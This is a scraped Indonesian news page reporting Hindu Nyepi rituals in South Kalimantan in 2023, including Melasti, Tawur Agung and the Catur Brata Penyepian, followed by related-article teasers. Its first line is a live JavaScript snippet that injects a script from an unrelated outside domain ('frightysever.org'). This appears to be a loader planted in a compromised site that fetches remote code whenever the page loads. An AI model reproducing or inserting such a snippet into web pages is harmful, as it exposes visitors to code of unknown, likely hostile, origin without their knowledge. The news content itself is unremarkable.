(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Umat Hindu di Kalimantan Selatan (Kalsel) melaksanakan ritual Hari Suci Nyepi dengan beberapa rangkaian upacara tradisi.
Dimulai dengan rangkaian upacara Melasti di salah satu pantai yang ada di Tanah Bumbu hingga melaksanakan Catur Brata Penyepian.
Ketua Parisada Hindu Dharma Indonesia (PHDI) Kalsel I Wayan Suadiarsa mengatakan, Selasa (21/3/2023) siang, melaksanakan Taur Agung dan Persembahyangan di Pura Jagatnatha Suryanata Komplek Wengga, Kelurahan Guntung Manggis, Kota Banjarbaru.
“Dua hari lalu kita sudah melaksanakan rangkaian pertama yakni Melasti di Pantai Madani Tanbu,” ujarnya.
Dijelaskannya Melasti dimaknakan sebagai upacara penyucian diri menyambut Hari Suci Nyepi yang diikuti seluruh Umat Hindu dengan tujuan membersihkan diri dari segala perbuatan buruk pada masa lalu.
Baca juga: Selipkan Belati di Badan, Lelaki di Pelabuhan Trisakti Banjarmasin Dibawa Polisi
Peringatan Hari Suci Nyepi ini dikatakannya diperingati setiap tahunnya pada bulan Maret.
Dijelaskan I Wayan Suadiarsa berdasarkan makna filosofi yang diketahuinya, mereka mempercayai dulunya banyak pihak yang mengaku berada di jalan kebenaran kemudian melupakan tentang agama.
Kemudian salah satu kelompok yakni Kelompok Saka, yang memiliki pemikiran kenapa harus ada pertikaian. Sehingga terjadi kesimpulan dan mengajak beberapa kelompok guna mengembalikan jati diri manusia dengan cara berbaur dengan alam semesta.
Umat Hindu pada Rabu (22/3/2023) akan menjalankan Catur Brata Penyepian selama Hari Suci Nyepi Tahun Baru Saka 1945 pada Serangkaian Nyepi 2023.
Selama melaksanakan Catur Brata Penyepian, umat Hindu mengurangi atau membatasi rutinitasnya, mulai dengan tidak berkegiatan (amati karya), tidak menyalakan api atau hawa nafsu (amati geni), tidak keluar rumah atau berpergian (amati lelungaan), dan tidak bersenang-senang atau menghibur diri (amati lelanguan).
Baca juga: Pemkab Banjar Gelar Pasar Murah Ramadan
Selain berpantang dengan menjalankan Catur Brata Penyepian, umat juga diarahkan agar mulat sarira atau mengintrospeksi diri dalam menyambut Tahun Baru Saka.
“Catur Brata Penyepian dimulai tengah malam nanti,” katanya.
Setelah melaksanakan Catur Brata Penyepian, Umat Hindu melaksanakan Ngembak Geni merupakan bentuk rasa syukur yang sudah mereka dapatkan. Kemudian dilanjutkan dengan mengunjungi sanak saudaranya.
“Kita berkunjung kepada saudara-saudara kita, mengucapkan selamat dan mohon ampun apabila adanya hal-hal yang kurang berkenan,” tutupnya.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.